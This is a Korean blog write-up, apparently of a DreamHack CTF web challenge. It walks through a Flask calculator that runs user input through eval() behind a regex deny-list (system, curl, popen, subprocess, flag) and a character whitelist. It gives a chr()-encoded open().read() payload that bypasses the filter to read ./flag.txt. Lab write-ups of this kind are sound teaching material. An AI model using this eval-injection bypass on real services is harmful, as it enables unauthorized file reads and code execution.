덧셈 식을 계산해주는 계산기를 구현한 웹인 것 같으니 들어가서 확인해보자
대충 입력에 "1+1" 이런식으로 입력하면 아래 "Enter the value"라고 적힌 곳에 결과가 "2"로 나온다
그럼 입력하는 input의 이름을 살펴보고 소스코드로 넘어가서 웹이 어떻게 이루어졌는지 살펴보자
이름은 "formula"인 것을 확인했고, 소스코드로 넘어가서 formula가 어떤 식으로 작동되는지 살펴보자
#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re
app = Flask(__name__)
def filter(formula):
w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
w_list.extend([" ", ".", "(", ")", "+"])
if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
return True
for c in formula:
if c not in w_list:
return True
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
formula = request.form.get("formula", "")
if formula != "":
if filter(formula):
return render_template("index.html", result="Filtered")
else:
try:
formula = eval(formula)
return render_template("index.html", result=formula)
except subprocess.CalledProcessError:
return render_template("index.html", result="Error")
except:
return render_template("index.html", result="Error")
else:
return render_template("index.html", result="Enter the value")
app.run(host="0.0.0.0", port=8000)
위는 문제의 전체 소스코드이다
하나씩 살펴보면
def filter(formula):
w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
w_list.extend([" ", ".", "(", ")", "+"])
if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
return True
for c in formula:
if c not in w_list:
return True
'filter'라는 이름의 함수를 선언한 코드이다. formula에 입력한 값에 대한 필터링을 담당하는 함수인 것 같다
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
formula = request.form.get("formula", "")
if formula != "":
if filter(formula):
return render_template("index.html", result="Filtered")
else:
try:
formula = eval(formula)
return render_template("index.html", result=formula)
except subprocess.CalledProcessError:
return render_template("index.html", result="Error")
except:
return render_template("index.html", result="Error")
else:
return render_template("index.html", result="Enter the value")
계산기의 기능을 수행하게끔 하는 코드인 것 같고 formula 값이 공백이 아니어야하고, 위에서 값에 대한 필터링이 된다면 Filtered를 출력하고 아니라면 결과값을 출력해주는 것 같다
그렇다면 이 문제는 간단하다. 위의 필터링 코드를 어떻게 우회를 할 것인지만 찾는다면 flag파일 내용을 출력하게끔 하여 플래그를 획득할 수 있을 것이다
if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
return True
for c in formula:
if c not in w_list:
return True
필터링을 담당하는 코드는 이곳이다
system, curl, flag, '/' 같은 특수기호, popen을 필터링 하는 기능을 구현해놓았다
하지만 파일을 실행시키는 명령인 open과 read를 필터링 하지 않았으며 flag라는 문자열을 아스키코드로 변환 시키는 chr함수 또한 필터링 해놓지 않았으므로 이를 이용하여 충분히 우회가 가능하다
즉, open과 read 그리고 chr 함수를 이용하여 flag파일의 내용을 출력하게끔 하면 된다
open(chr(46)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()
. / f l a g . t x t
익스플로잇 코드는 위의 코드와 같다
각각의 chr은 아래에 적어놓은 알파벳과 기호에 해당한다
이렇게 우회하여 코드를 익스플로잇해준다면 open을 통해 파일을 열 수 있고, chr을 통해 ./flag.txt을 우회하여 입력할 수 있으며 read를 통해 내용을 출력할 수 있게 해준다.
성공적으로 flag.txt 내용이 출력되며 플래그를 얻었다
'DreamHack > Web hacking' 카테고리의 다른 글
[LEVEL-2] web-deserialize-python (0) | 2024.01.20 |
---|---|
[LEVEL-2] Dream Gallery (1) | 2024.01.02 |
[LEVEL-2] filestorage (1) | 2023.12.30 |
[LEVEL-1] NoSQL-CouchDB (1) | 2023.12.26 |
[LEVEL-1] Command Injection Advanced (1) | 2023.12.25 |